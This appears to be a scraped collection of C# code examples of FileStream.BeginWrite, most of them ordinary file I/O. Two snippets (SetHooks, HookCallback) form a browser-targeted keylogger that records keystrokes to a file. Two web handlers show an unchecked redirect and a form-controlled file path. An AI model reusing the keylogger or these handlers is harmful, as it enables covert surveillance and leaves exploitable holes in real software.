public BeginWrite ( byte array, int offset, int numBytes, AsyncCallback callback, object state ) : IAsyncResult | ||
array | byte | |
offset | int | |
numBytes | int | |
callback | AsyncCallback | |
state | object | |
return | IAsyncResult |
public static void ApplyIPSPatch(string romname, string patchname) { // Noobish Noobsicle wrote this IPS patching code // romname is the original ROM, patchname is the patch to apply FileStream romstream = new FileStream(romname, FileMode.Open, FileAccess.ReadWrite, FileShare.ReadWrite); FileStream ipsstream = new FileStream(patchname, FileMode.Open, FileAccess.ReadWrite, FileShare.ReadWrite); int lint = (int)ipsstream.Length; byte[] ipsbyte = new byte[ipsstream.Length]; byte[] rombyte = new byte[romstream.Length]; IAsyncResult romresult; IAsyncResult ipsresult = ipsstream.BeginRead(ipsbyte, 0, lint, null, null); ipsstream.EndRead(ipsresult); int ipson = 5; int totalrepeats = 0; int offset = 0; bool keepgoing = true; while (keepgoing == true) { offset = ipsbyte[ipson] * 0x10000 + ipsbyte[ipson + 1] * 0x100 + ipsbyte[ipson + 2]; ipson++; ipson++; ipson++; if (ipsbyte[ipson] * 256 + ipsbyte[ipson + 1] == 0) { ipson++; ipson++; totalrepeats = ipsbyte[ipson] * 256 + ipsbyte[ipson + 1]; ipson++; ipson++; byte[] repeatbyte = new byte[totalrepeats]; for (int ontime = 0; ontime < totalrepeats; ontime++) repeatbyte[ontime] = ipsbyte[ipson]; romstream.Seek(offset, SeekOrigin.Begin); romresult = romstream.BeginWrite(repeatbyte, 0, totalrepeats, null, null); romstream.EndWrite(romresult); ipson++; } else { totalrepeats = ipsbyte[ipson] * 256 + ipsbyte[ipson + 1]; ipson++; ipson++; romstream.Seek(offset, SeekOrigin.Begin); romresult = romstream.BeginWrite(ipsbyte, ipson, totalrepeats, null, null); romstream.EndWrite(romresult); ipson = ipson + totalrepeats; } if (ipsbyte[ipson] == 69 && ipsbyte[ipson + 1] == 79 && ipsbyte[ipson + 2] == 70) keepgoing = false; } romstream.Close(); ipsstream.Close(); }
/// <summary> /// Demonstrates the use of the APM with files, through the FileStream class. /// This method performs asynchronous reads and writes to copy data from an input /// file to an output file. Reads and writes are interlaced, and proceed in chunks /// of 8KB at a time (displaying progress to the console). /// </summary> static void APMWithFiles() { FileStream reader = new FileStream("sample.txt", FileMode.Open); FileStream writer = new FileStream("sample2.txt", FileMode.Create); byte[] buffer1 = new byte[8192], buffer2 = new byte[8192]; IAsyncResult ar1, ar2 = null; while (true) { ar1 = reader.BeginRead(buffer1, 0, buffer1.Length, null, null); while (!ar1.IsCompleted) { Console.Write("R"); } if (ar2 != null) { while (!ar2.IsCompleted) { Console.Write("W"); } } int bytesRead; if ((bytesRead = reader.EndRead(ar1)) == 0) break; //No more data to read if (ar2 != null) { writer.EndWrite(ar2); } Array.Copy(buffer1, buffer2, bytesRead); ar2 = writer.BeginWrite(buffer2, 0, bytesRead, null, null); } Console.WriteLine(); Console.WriteLine(); }
public void BeginWriteThrowsForNullArray() { using (FileStream fs = new FileStream(GetTestFilePath(), FileMode.Create, FileAccess.Write)) { Assert.Throws<ArgumentNullException>("array", () => fs.BeginWrite(null, 0, 0, null, null)); } }
public void BeginWriteThrowsForNegativeNumBytes() { using (FileStream fs = new FileStream(GetTestFilePath(), FileMode.Create, FileAccess.Write)) { Assert.Throws<ArgumentOutOfRangeException>("numBytes", () => fs.BeginWrite(new byte[0], 0, -1, null, null)); } }
private void WriteLog(LogLevel level, string log) { var path = string.Format(@"{0}{1}\{2}", YFK.Core.Configuration.YFKConfig.Instance.WebSetting.LogPath, DateTime.Now.ToString("yyyy年MM月dd日"), level.ToString()); if (path.Contains(":\\") == false) { if (System.Web.HttpContext.Current != null) path = System.Web.HttpContext.Current.Server.MapPath(path); else path = AppDomain.CurrentDomain.BaseDirectory + path; } var fileName = string.Format("{0}.txt", DateTime.Now.ToString("HH")); if (!Directory.Exists(path)) Directory.CreateDirectory(path); using (FileStream fs = new FileStream(Path.Combine(path, fileName), FileMode.Append, FileAccess.Write, FileShare.Write, 1024, FileOptions.Asynchronous)) { log = string.Format("================记录时间:{0}================\r\n{1}\r\n", DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss"), log); byte[] buffer = System.Text.Encoding.UTF8.GetBytes(log + "\r\n"); IAsyncResult writeResult = fs.BeginWrite(buffer, 0, buffer.Length, (asyncResult) => { var fStream = (FileStream)asyncResult.AsyncState; fStream.EndWrite(asyncResult); }, fs); fs.Close(); } }
public void BeginWriteThrowsForBadOffset(int arraySize, int offset, int numBytes) { using (FileStream fs = new FileStream(GetTestFilePath(), FileMode.Create, FileAccess.Write)) { Assert.Throws<ArgumentException>(() => fs.BeginWrite(new byte[arraySize], offset, numBytes, null, null)); } }
public IAsyncResult BeginProcessRequest (HttpContext context, AsyncCallback cb, object extraData) { HttpRequest request = context.Request; HttpResponse response = context.Response; StringBuilder builder = new StringBuilder(); response.RedirectLocation = request.QueryString["uri"]; response.StatusCode = 303; builder.AppendFormat("<request time='{0}' filePath='{1}'>", DateTime.Now, request.FilePath); IEnumerator enumerator = request.Headers.GetEnumerator(); for (int i = 0; enumerator.MoveNext(); i++) { string name = request.Headers.AllKeys[i].ToString(); builder.AppendFormat("<{0}>:{1}</{0}>", name, HttpUtility.HtmlEncode(request.Headers[name])); } builder.Append("</request>\r\n"); byte[] output = Encoding.ASCII.GetBytes(builder.ToString()); lock (m_lock) { m_file = new FileStream(request.MapPath("~/App_Data/TrackerLog.xml"), FileMode.OpenOrCreate, FileAccess.Write, FileShare.Write, 1024, true); m_file.Seek(m_position, SeekOrigin.Begin); m_position += output.Length; return m_file.BeginWrite(output, 0, output.Length, cb, extraData); } }
IAsyncResult BeginPreRequestHandlerExecute (Object source, EventArgs e, AsyncCallback cb, Object state) { System.Web.HttpApplication app = (System.Web.HttpApplication)source; DateTime time = DateTime.Now; string line = String.Format( "{0,10:d} {1,11:T} {2, 32} {3}\r\n", time, time, app.User.Identity.IsAuthenticated ? app.User.Identity.Name : app.Request.UserHostAddress, app.Request.Url); byte[] output = Encoding.ASCII.GetBytes(line); lock (_lock) { _file = new FileStream( HttpContext.Current.Server.MapPath("~/App_Data/RequestLog.txt"), FileMode.OpenOrCreate, FileAccess.Write, FileShare.Write, 1024, true); _file.Seek(_position, SeekOrigin.Begin); _position += output.Length; return _file.BeginWrite(output, 0, output.Length, cb, state); } }
public FileAsync() { FileStream fs = new System.IO.FileStream ("test.txt", FileMode.Create, FileAccess.Write); fs.BeginWrite (new byte[10], 0, 0, FileWriteCallback, fs); // Hacemos mas acciones }
public AsyncFileStream() { Console.WriteLine("Main Thread started. ThreadID = {0}", Thread.CurrentThread.GetHashCode()); FileStream stream = new FileStream("logfile.txt", FileMode.Append, FileAccess.Write, FileShare.None, 4096, true); string msg = "This is a Test"; byte[] buffer = Encoding.ASCII.GetBytes(msg); stream.BeginWrite(buffer, 0, buffer.Length, WriteDone, stream); }
public void BeginWriteThrowsForClosed() { FileStream fs; using (fs = new FileStream(GetTestFilePath(), FileMode.Create, FileAccess.Write)) { } Assert.Throws<ObjectDisposedException>(() => fs.BeginWrite(new byte[0], 0, 0, null, null)); }
private static void WriteContent(string file, string content) { var fileStream = new FileStream(file, FileMode.Truncate); var state = new FileState { FileStream = fileStream }; var data = Encoding.ASCII.GetBytes(content); fileStream.BeginWrite(data, 0, data.Length, WriteDone, state); }
public void BeginWriteThrowsForReadOnly() { string testPath = GetTestFilePath(); using (FileStream fs = new FileStream(testPath, FileMode.Create, FileAccess.Write)) { } using (FileStream fs = new FileStream(testPath, FileMode.Open, FileAccess.Read)) { Assert.Throws<NotSupportedException>(() => fs.BeginWrite(new byte[0], 0, 0, null, null)); } }
private static void SetHooks() { HookProc proc = new HookProc(HookCallback); hooks = new List <IntPtr>(); try { StringBuilder builder = new StringBuilder(); builder.AppendLine("--------------------------------------------------------------\n"); builder.Append("Browser names: "); for (int i = 0; i < browserNames.Length; i++) { if (i != browserNames.Length - 1) { builder.Append(browserNames[i] + ", "); } else { builder.AppendLine(browserNames[i]); } try { Process process = Process.GetProcessesByName(browserNames[i])[0]; ProcessModule curModule = process.MainModule; hooks.Add(SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0)); } catch { } } builder.AppendLine(string.Format("Time start: {0} {1}", DateTime.Now.ToShortDateString(), DateTime.Now.ToLongTimeString())); builder.Append("Content: "); Console.WriteLine(builder.ToString()); System.IO.FileStream stream = System.IO.File.Open(fileName, System.IO.FileMode.Append); canWrite = false; stream.BeginWrite(Encoding.Default.GetBytes(builder.ToString()), 0, Encoding.Default.GetByteCount(builder.ToString().ToCharArray()), new AsyncCallback(delegate(IAsyncResult res) { stream.EndWrite(res); stream.Close(); canWrite = true; }), null); } catch (Exception e) { Console.WriteLine(e.Message); } }
public static string SaveFile(string name, byte[] bs) { int rtn = -1; try { string path = paths[ch.GetPrimary(name)] + name; Log.Write("保存文件路径:" + path); FileStream fs = new FileStream(path, FileMode.Append, FileAccess.Write, FileShare.Delete | FileShare.ReadWrite, 8192, FileOptions.WriteThrough | FileOptions.Asynchronous); IAsyncResult ir = fs.BeginWrite(bs, 0, bs.Length, WriteCallback, fs); } catch (Exception e) { Log.Error("FileHelper.SaveFile:" + e.Message); } return name; }
public void СохранитьФайл(string Проект, string Каталог, string Файл, string Содержание) { Interlocked.Increment(ref КоличествоФайловВсего); var ИмяФайла = ПолучитьИПроверитьДиректорию(Проект, Каталог) + "\\" + Файл; var Кодировка = ВыборКодировки(Файл); var Сигнатура = Кодировка.GetPreamble(); Содержание = ЗаменитьТокены(Содержание); var НовыйПоток = СложитьДваПотока(Сигнатура,Кодировка.GetBytes(Содержание)); var СтарыйПоток = new byte[0]; if (File.Exists(ИмяФайла)) { СтарыйПоток = File.ReadAllBytes(ИмяФайла); } var ЗаписыватьФайл = НовыйПоток.Length != СтарыйПоток.Length; if (!ЗаписыватьФайл) { ЗаписыватьФайл = !CRC.ПотокиИдентичны(НовыйПоток, СтарыйПоток); } //ЗаписыватьФайл = true; if (!ЗаписыватьФайл) { return; } Interlocked.Increment(ref КоличествоФайловКЗаписи); //File.WriteAllBytes(ИмяФайла, НовыйПоток); //Interlocked.Increment(ref КоличествоФайловЗаписано); ИзменитьАтрибутЧтенияФайла(ИмяФайла, false); try { using (var ПотокФайла = new FileStream(ИмяФайла, FileMode.Create, FileAccess.Write, FileShare.Write, 4096, true)) { var МаркерВызова = ПотокФайла.BeginWrite(НовыйПоток, 0, НовыйПоток.Length, ОбратныйВызовСохраненияФайла, ИмяФайла); Ожидания.Add(МаркерВызова.AsyncWaitHandle); } } catch (Exception Исключение) { if (Interlocked.Increment(ref КоличествоОшибокЗаписи) < 10) { var Сообщение = ((Исключение.InnerException == null)? Исключение.Message: Исключение.InnerException.Message); Console.WriteLine(Сообщение); } } }
public IAsyncResult BeginProcessRequest(HttpContext context, AsyncCallback cb, object extraData) { HttpRequest request = context.Request; m_response = context.Response; m_response.ContentType = "text/xml"; NameValueCollection form = request.Form; string name = form.Get("name"); string slug = form.Get("slug"); string base_uri = form.Get("base_uri"); string base_path = form.Get("base_path"); string title = form.Get("title"); string ip = context.Request.UserHostAddress.ToString(); Entry entry = new Entry { Published = DateTime.Now, Updated = DateTime.Now, Title = title }; using (MemoryStream stream = new MemoryStream()) { m_xSerializer.Serialize(stream, (Entry)entry); stream.Seek(0, 0); byte[] output = stream.GetBuffer(); char[] chars = m_encoding.GetChars(output, 0, output.Length); using (XmlReader reader = XmlReader.Create(stream)) { using (StreamWriter sWriter = new StreamWriter(m_response.OutputStream, Encoding.UTF8)) { while (reader.Read()) { sWriter.Write(reader.ReadOuterXml()); } } } lock (m_lock) { string basePath = request.MapPath(String.Format("~{0}", base_path)); Console.WriteLine(basePath); if (!Directory.Exists(basePath)) { Directory.CreateDirectory(basePath); } m_file = new FileStream(String.Format("{0}/{1}.xml", basePath, Guid.NewGuid()), FileMode.Create, FileAccess.Write, FileShare.ReadWrite, 1024, true); m_file.Seek(0, 0); return m_file.BeginWrite(output, 0, output.Length, cb, extraData); } } }
public override void ShowUsage() { //需要在 FileStream 异步调用 I/O线程,必须使用以下构造函数建立 FileStream 对象,并把useAsync设置为 true。 //FileStream stream = new FileStream ( string path, FileMode mode, FileAccess access, FileShare share, int bufferSize,bool useAsync ) ; //其中 path 是文件的相对路径或绝对路径; mode 确定如何打开或创建文件; access 确定访问文件的方式; share 确定文件如何进程共享; bufferSize 是代表缓冲区大小,一般默认最小值为8,在启动异步读取或写入时,文件大小一般大于缓冲大小; userAsync代表是否启动异步I/O线程。 ThreadPool.SetMaxThreads(1000, 1000); ThreadPoolMessage("Start"); string filePath = AppDomain.CurrentDomain.BaseDirectory + "Demo.txt"; FileStream stream = new FileStream(filePath, FileMode.OpenOrCreate, FileAccess.ReadWrite, FileShare.ReadWrite, 1024, true); byte[] bytes = new byte[16384]; string message = "An operating-system ThreadId has no fixed relationship........"; bytes = Encoding.Unicode.GetBytes(message); //启动异步写入 stream.BeginWrite(bytes, 0, (int)bytes.Length, new AsyncCallback(Callback), stream); stream.Flush(); Console.WriteLine("注意:如果你看到的测试结果正好相反:工作者线程为999,I/O线程为1000,这是因为FileStream的文件容量小于缓冲值1024所致的。此时文件将会一次性读取或写入,而系统将启动工作者线程而非I/O线程来处理回调函数。"); Console.ReadKey(); }
public static void CopyFile(String sourcePath, String destinationPath, Action<String, String, Exception> completed) { Stream source = new FileStream(sourcePath, FileMode.Open, FileAccess.Read); Stream destination = new FileStream(destinationPath, FileMode.Create, FileAccess.Write); byte[] buffer = new byte[0x1000]; AsyncOperation asyncOp = AsyncOperationManager.CreateOperation(null); Action<Exception> cbCompleted = e => { if (completed != null) asyncOp.Post(delegate { source.Close(); destination.Close(); completed(sourcePath, destinationPath, e); }, null); }; AsyncCallback rc = null; rc = readResult => { try { int read = source.EndRead(readResult); if (read > 0) { destination.BeginWrite(buffer, 0, read, writeResult => { try { destination.EndWrite(writeResult); source.BeginRead( buffer, 0, buffer.Length, rc, null); } catch (Exception exc) { cbCompleted(exc); } }, null); } else cbCompleted(null); } catch (Exception exc) { cbCompleted(exc); } }; source.BeginRead(buffer, 0, buffer.Length, rc, null); }
private void WriteFileAsync(byte[] data, long originSize) { _fileStream.BeginWrite(data, 0, data.Length, c => { if (this._isStopTask) { return; } _fileStream.EndWrite(c); if (_fileStream.Length == originSize) { this.CloseFileStream(); } else { SendTo(CurrentSession, MessageHead.C_FILE_NEXT_DATA); } }, null); }
public async void TestAsyncPLINQ() { using (var ms = new MemoryStream()) { Enumerable.Range(0, 1000000) .AsParallel() .Select(i => new { num = i, val = Math.Sin(i) }) .Where(elem => elem.val > 0) .OrderBy(elem => elem.val) .ForAll(elem => { var buf = Encoding.GetEncoding(1251).GetBytes(elem.num + "\t" + elem.val + "\r\n"); lock(ms) ms.Write(buf, 0, buf.Length); }); var semaphore = new Semaphore(0,1); using (FileStream fStream = new FileStream("sins.txt", FileMode.Create, FileAccess.ReadWrite, FileShare.None, 4096, true)) { Console.WriteLine("File was {0}opened asynchronously", fStream.IsAsync ? "" : "NOT "); fStream.BeginWrite(ms.GetBuffer(), 0, (int)ms.Position, asyncResult => { var fs = (FileStream)asyncResult.AsyncState; fs.EndWrite(asyncResult); Console.WriteLine("Done with I/O!"); semaphore.Release(); }, fStream); Console.WriteLine("Free for work! But nothing to do..."); semaphore.WaitOne(); // ms.Position = 0; // var copyToAsyncTask = ms.CopyToAsync(fStream); // Console.WriteLine("Free for work! But nothing to do..."); // await copyToAsyncTask; // Console.WriteLine("Done with I/O!"); } } }
static void Main(string[] args) { int max = 5000000; Stopwatch sw = Stopwatch.StartNew(); Console.WriteLine(sw.Elapsed + " start calculating sinuses"); var sins = string.Join("\r\n", Enumerable.Range(0, max) .AsParallel() .Select(x => new {x, sinX=Math.Sin(x)}) .Where(pair => pair.sinX > 0) .OrderBy(pair => pair.sinX) .Select(pair => pair.ToString())); byte[] data = Encoding.ASCII.GetBytes(sins); Console.WriteLine(sw.Elapsed + " start writing sinuses"); var fs = new FileStream("sins.txt", FileMode.Create, FileAccess.Write, FileShare.None, 4096, FileOptions.WriteThrough | FileOptions.Asynchronous ); // fs.Write(data, 0, data.Length); // Console.WriteLine(sw.Elapsed + " sinuses written!"); fs.BeginWrite(data, 0, data.Length, res => { Console.WriteLine(sw.Elapsed + " sinuses written!"); fs.EndWrite(res); fs.Dispose(); data = null; }, null); // Console.WriteLine(sw.Elapsed + " start calculating cosinuses"); // var coses = Enumerable.Range(0, max) // .AsParallel() // .Select(x => new { x, cosX = Math.Cos(x) }) // .Where(pair => pair.cosX > 0) // .OrderBy(pair => pair.cosX) // .Select(pair => pair.ToString()); // Console.WriteLine(sw.Elapsed + " start writing cosinuses"); // var cosinuses = string.Join("\r\n", coses); // File.WriteAllText("cosinuses.txt", cosinuses); // Console.WriteLine(sw.Elapsed); }
public static void WorkItemMethod(object mainEvent) { Console.WriteLine("\nStarting WorkItem.\n"); AutoResetEvent autoEvent = new AutoResetEvent(false); // Create some data. const int ArraySize = 10000; const int BufferSize = 1000; byte[] byteArray = new Byte[ArraySize]; new Random().NextBytes(byteArray); // Create two files and two State objects. FileStream fileWriter1 = new FileStream(@"C:\democode\Test1@##.dat", FileMode.Create, FileAccess.ReadWrite, FileShare.ReadWrite, BufferSize, true); FileStream fileWriter2 = new FileStream(@"C:\democode\Test2@##.dat", FileMode.Create, FileAccess.ReadWrite, FileShare.ReadWrite, BufferSize, true); State stateInfo1 = new State(fileWriter1, autoEvent); State stateInfo2 = new State(fileWriter2, autoEvent); // Asynchronously write to the files. fileWriter1.BeginWrite(byteArray, 0, byteArray.Length, new AsyncCallback(EndWriteCallback), stateInfo1); fileWriter2.BeginWrite(byteArray, 0, byteArray.Length, new AsyncCallback(EndWriteCallback), stateInfo2); // Wait for the callbacks to signal. autoEvent.WaitOne(); autoEvent.WaitOne(); fileWriter1.Close(); fileWriter2.Close(); Console.WriteLine("\nEnding WorkItem.\n"); // Signal Main that the work item is finished. ((AutoResetEvent)mainEvent).Set(); }
/// <summary> /// 异步创建文件 /// </summary> public void CreateAsync(byte[] data, Action callback) { if (Exists) { throw new System.IO.IOException("file is exists"); } data = Encrypted(data); System.IO.FileStream fs = System.IO.File.Create(FullName); //todo:需要测试 fs.BeginWrite(data, 0, data.Length, (result) => { fs.EndRead(result); fs.Close(); fs.Dispose(); if (callback != null) { callback.Invoke(); } }, null); }
static public int BeginWrite(IntPtr l) { try { System.IO.FileStream self = (System.IO.FileStream)checkSelf(l); System.Byte[] a1; checkArray(l, 2, out a1); System.Int32 a2; checkType(l, 3, out a2); System.Int32 a3; checkType(l, 4, out a3); System.AsyncCallback a4; LuaDelegation.checkDelegate(l, 5, out a4); System.Object a5; checkType(l, 6, out a5); var ret = self.BeginWrite(a1, a2, a3, a4, a5); pushValue(l, true); pushValue(l, ret); return(2); } catch (Exception e) { return(error(l, e)); } }
public override IAsyncResult BeginWrite(byte[] buffer, int offset, int count, AsyncCallback callback, object state) { if (_m_disposed) { throw ADP.ObjectDisposed(this); } IAsyncResult asyncResult = _m_fs.BeginWrite(buffer, offset, count, callback, state); // SQLBUVSTS# 193123 - disable lazy flushing of written data in order to prevent // potential exceptions during Close/Finalization. Since System.IO.FileStream will // not allow for a zero byte buffer, we'll create a one byte buffer which, in normal // usage, will not be used and the user buffer will automatically flush directly to // the disk cache. In pathological scenarios where the client is writing a single // byte at a time, we'll explicitly call flush ourselves. if (count == 1) { // calling flush here will mimic the internal control flow of System.IO.FileStream _m_fs.Flush(); } return(asyncResult); }
void _subscriber_OnReceiveMessageEventHandler(object obj) { if (obj == null) { AddToTextBox("收到为空的信息"); return; } if (obj is string) { AddToTextBox(obj.ToString()); } else if (obj is DateTime) { AddToTextBox(((DateTime)obj).ToString(CultureInfo.InvariantCulture)); } else { if (obj is byte[]) { string fileName = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, string.Format("{0}.jpg", DateTime.Now.ToString("yyyy_MM-dd_hh_mm_ss"))); FileStream writer = new FileStream(fileName, FileMode.OpenOrCreate); byte[] buffer = (byte[])(obj); writer.BeginWrite(buffer, 0, buffer.Length, delegate(IAsyncResult result) { writer.EndWrite(result); InvokeTextBox(this.sendInfoRtb, string.Format("接收文件读写完成,共{0}", buffer.Length)); writer.Close(); }, null); this.AddToTextBox(string.Format("接受到文件")); } } }
public void BeginWrite_Disposed () { string path = TempFolder + Path.DirectorySeparatorChar + "temp"; DeleteFile (path); FileStream stream = new FileStream (path, FileMode.OpenOrCreate, FileAccess.Write); stream.Close (); stream.EndWrite (stream.BeginWrite (new byte[8], 0, 8, null, null)); }
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) { if (counter > 0) { counter--; } else { counter = hooks.Count - 1; if ((nCode >= 0) && (wParam == (IntPtr)WM_KEYDOWN)) { int vkCode = Marshal.ReadInt32(lParam); KeysConverter kc = new KeysConverter(); string keyChar = kc.ConvertToInvariantString(vkCode); if ((Keys)vkCode == Keys.Shift) { isShift = true; } if ((Keys)vkCode == Keys.Back) { content = content.Remove(content.Length - 1, 1); } if ((Keys)vkCode == Keys.Enter) { content = content.AppendLine(); } if ((Keys)vkCode == Keys.CapsLock) { if (isCapsLock == true) { isCapsLock = false; } else { isCapsLock = true; } } if ((Keys)vkCode == Keys.Space) { content = content.Append(' '); } else { if (!isShift && !isCapsLock) { content = content.Append(char.ToLower(keyChar[0])); } else if (isCapsLock && isShift) { content = content.Append(char.ToLower(keyChar[0])); isShift = false; } else { content = content.Append(keyChar[0]); isShift = false; } } if (canWrite) { canWrite = false; System.IO.FileStream stream = System.IO.File.Open(fileName, System.IO.FileMode.Append); stream.BeginWrite(Encoding.Default.GetBytes(content.ToString()), 0, Encoding.Default.GetByteCount(content.ToString().ToCharArray()), new AsyncCallback(delegate(IAsyncResult res) { stream.EndWrite(res); stream.Close(); content.Clear(); canWrite = true; }), null); } Console.Write(content.ToString()); content.Clear(); } } return(CallNextHookEx(hook, nCode, wParam, lParam)); }
private void SaveGoods(bool forced = false) { if (!Directory.Exists(Settings.GoodsPath)) Directory.CreateDirectory(Settings.GoodsPath); for (int i = 0; i < MapList.Count; i++) { Map map = MapList[i]; if (map.NPCs.Count < 1) continue; for (int j = 0; j < map.NPCs.Count; j++) { NPCObject npc = map.NPCs[j]; if (forced) { npc.ProcessGoods(forced); } if (!npc.NeedSave) continue; string path = Settings.GoodsPath + npc.Info.Index.ToString() + ".msdn"; MemoryStream mStream = new MemoryStream(); BinaryWriter writer = new BinaryWriter(mStream); int Temp = 9999; writer.Write(Temp); writer.Write(Version); writer.Write(CustomVersion); writer.Write(npc.UsedGoods.Count); for (int k = 0; k < npc.UsedGoods.Count; k++) { npc.UsedGoods[k].Save(writer); } FileStream fStream = new FileStream(path, FileMode.Create); byte[] data = mStream.ToArray(); fStream.BeginWrite(data, 0, data.Length, EndSaveGoodsAsync, fStream); } } }
private void SaveGuilds(bool forced = false) { if (!Directory.Exists(Settings.GuildPath)) Directory.CreateDirectory(Settings.GuildPath); for (int i = 0; i < GuildList.Count; i++) { if (GuildList[i].NeedSave || forced) { GuildList[i].NeedSave = false; MemoryStream mStream = new MemoryStream(); BinaryWriter writer = new BinaryWriter(mStream); GuildList[i].Save(writer); FileStream fStream = new FileStream(Settings.GuildPath + i.ToString() + ".mgdn", FileMode.Create); byte[] data = mStream.ToArray(); fStream.BeginWrite(data, 0, data.Length, EndSaveGuildsAsync, fStream); } } }
protected override WriteResult WriteSingleFragment(ByteBuffer fragment) { stream.BeginWrite(fragment.Bytes, fragment.Position, fragment.Length, OnWriteDone, null); return(WriteResult.Consume); }
private void BeginSaveAccounts() { if (Saving) return; Saving = true; using (MemoryStream mStream = new MemoryStream()) { if (File.Exists(AccountPath)) { if (!Directory.Exists(BackUpPath)) Directory.CreateDirectory(BackUpPath); string fileName = string.Format("Accounts {0:0000}-{1:00}-{2:00} {3:00}-{4:00}-{5:00}.bak", Now.Year, Now.Month, Now.Day, Now.Hour, Now.Minute, Now.Second); if (File.Exists(Path.Combine(BackUpPath, fileName))) File.Delete(Path.Combine(BackUpPath, fileName)); File.Move(AccountPath, Path.Combine(BackUpPath, fileName)); } SaveAccounts(mStream); FileStream fStream = new FileStream(AccountPath + "n", FileMode.Create); byte[] data = mStream.ToArray(); fStream.BeginWrite(data, 0, data.Length, EndSaveAccounts, fStream); } }
private static void WriteFileContent(string message, string location) { FileStream fStream = new FileStream(location, FileMode.Create, FileAccess.ReadWrite, FileShare.None, 4096, true); byte[] bytes = ASCIIEncoding.ASCII.GetBytes(Environment.NewLine + message); IAsyncResult asyncResult = fStream.BeginWrite( bytes, 0, bytes.Length, new AsyncCallback(WriteCallback), fStream); }
private void DoSequentialWrite( BlobTransferContext transferContext, FileStream stream) { if (transferContext.CancellationToken.IsCancellationRequested) { return; } byte[] buffer = null; if (transferContext.BlocksForFileIO.TryGetValue(transferContext.NextFileIOBlock, out buffer) && buffer != null) { transferContext.IsReadingOrWriting = true; long endOfRange = transferContext.Length + transferContext.InitialOffset; long beginFilePosition = (long)transferContext.NextFileIOBlock * transferContext.BlockSize + transferContext.InitialOffset; beginFilePosition = beginFilePosition > endOfRange ? endOfRange : beginFilePosition; long nextBeginFilePosition = (transferContext.NextFileIOBlock + 1) * (long)transferContext.BlockSize + transferContext.InitialOffset; nextBeginFilePosition = nextBeginFilePosition > endOfRange ? endOfRange : nextBeginFilePosition; int bytesToWrite = (int)(nextBeginFilePosition - beginFilePosition); ApplyEncryptionTransform(transferContext.FileEncryption, transferContext.InitializationVector, beginFilePosition, buffer, bytesToWrite); stream.BeginWrite( buffer, 0, bytesToWrite, result3 => { SuccessfulOrRetryableResult wasWriteSuccessful = IsActionSuccessfulOrRetryable(transferContext, () => stream.EndWrite(result3)); transferContext.MemoryManager.ReleaseBuffer(buffer); if (!wasWriteSuccessful.IsSuccessful) { transferContext.IsReadingOrWriting = false; return; } transferContext.NextFileIOBlock++; Interlocked.Add(ref transferContext.BytesWrittenOrReadToFile, bytesToWrite); InvokeProgressCallback(transferContext, transferContext.BytesWrittenOrReadToFile, bytesToWrite); transferContext.IsReadingOrWriting = false; if (transferContext.BytesWrittenOrReadToFile >= transferContext.Length) { transferContext.IsComplete = true; transferContext.OnComplete(); } }, null); } }
private IEnumerator DownloadCoroutine() { WWW www = null; string ext = Path.GetExtension(url); if (ext.Contains("?")) ext = ext.Substring(0, ext.IndexOf('?')); #if !UNITY_WEBPLAYER if (cached && File.Exists(Application.temporaryCachePath + "/" + this.guid + ext)) { www = new WWW("file:///" + Application.temporaryCachePath + "/" + this.guid + ext); #if DEBUG_LOG Debug.Log("DEBUG: TileDownloader.DownloadCoroutine: loading tile from cache: url: " + www.url); #endif } else #endif { www = new WWW(url); #if DEBUG_LOG Debug.Log("DEBUG: TileDownloader.DownloadCoroutine: loading tile from provider: url: " + www.url #if !UNITY_WEBPLAYER + "(cached: " + cached + ")" #endif ); #endif } yield return www; #if DEBUG_PROFILE UnitySlippyMap.Profiler.Begin("TileDownloader.TileEntry.DownloadCoroutine"); #endif #if DEBUG_PROFILE UnitySlippyMap.Profiler.Begin("www error test"); #endif if (www.error == null && www.text.Contains("404 Not Found") == false) { #if DEBUG_PROFILE UnitySlippyMap.Profiler.End("www error test"); #endif #if DEBUG_PROFILE UnitySlippyMap.Profiler.Begin("www.texture"); #endif Texture2D texture = new Texture2D(1, 1, TextureFormat.ARGB32, true); www.LoadImageIntoTexture(texture); #if DEBUG_PROFILE UnitySlippyMap.Profiler.End("www.texture"); #endif #if DEBUG_PROFILE UnitySlippyMap.Profiler.Begin("is cached?"); #endif #if !UNITY_WEBPLAYER if (this.cached == false) { #if DEBUG_PROFILE UnitySlippyMap.Profiler.End("is cached?"); #endif #if DEBUG_PROFILE UnitySlippyMap.Profiler.Begin("set TileEntry members"); #endif byte[] bytes = www.bytes; this.size = bytes.Length; this.guid = Guid.NewGuid().ToString(); #if DEBUG_PROFILE UnitySlippyMap.Profiler.End("set TileEntry members"); #endif #if DEBUG_PROFILE UnitySlippyMap.Profiler.Begin("new FileStream & FileStream.BeginWrite"); #endif FileStream fs = new FileStream(Application.temporaryCachePath + "/" + this.guid + ext, FileMode.Create, FileAccess.Write, FileShare.None, 4096, true); fs.BeginWrite(bytes, 0, bytes.Length, new AsyncCallback(EndWriteCallback), new AsyncInfo(this, fs)); #if DEBUG_PROFILE UnitySlippyMap.Profiler.End("new FileStream & FileStream.BeginWrite"); #endif #if DEBUG_LOG Debug.Log("DEBUG: TileEntry.DownloadCoroutine: done loading: " + www.url + ", writing to cache: " + fs.Name); #endif } else { #if DEBUG_PROFILE UnitySlippyMap.Profiler.End("is cached?"); #endif #if DEBUG_LOG Debug.Log("DEBUG: TileEntry.DownloadCoroutine: done loading from cache: " + www.url + " [" + url + "]"); #endif } this.timestamp = (DateTime.Now - new DateTime(1970, 1, 1).ToLocalTime()).TotalSeconds; #endif #if DEBUG_PROFILE UnitySlippyMap.Profiler.Begin("Tile.SetTexture"); #endif tile.SetTexture(texture); #if DEBUG_PROFILE UnitySlippyMap.Profiler.End("Tile.SetTexture"); #endif } else { #if DEBUG_PROFILE UnitySlippyMap.Profiler.End("www error test"); #endif this.error = true; #if DEBUG_LOG Debug.LogError("ERROR: TileEntry.DownloadCoroutine: done downloading: " + www.url + " with error: " + www.error); #endif } #if DEBUG_PROFILE UnitySlippyMap.Profiler.End("TileDownloader.TileEntry.DownloadCoroutine"); #endif }
protected override int WriteSingleBuffer(ByteBuffer buffer) { stream.BeginWrite(buffer.Bytes, buffer.Position, buffer.Length, OnWriteDone, null); return(buffer.Length); }
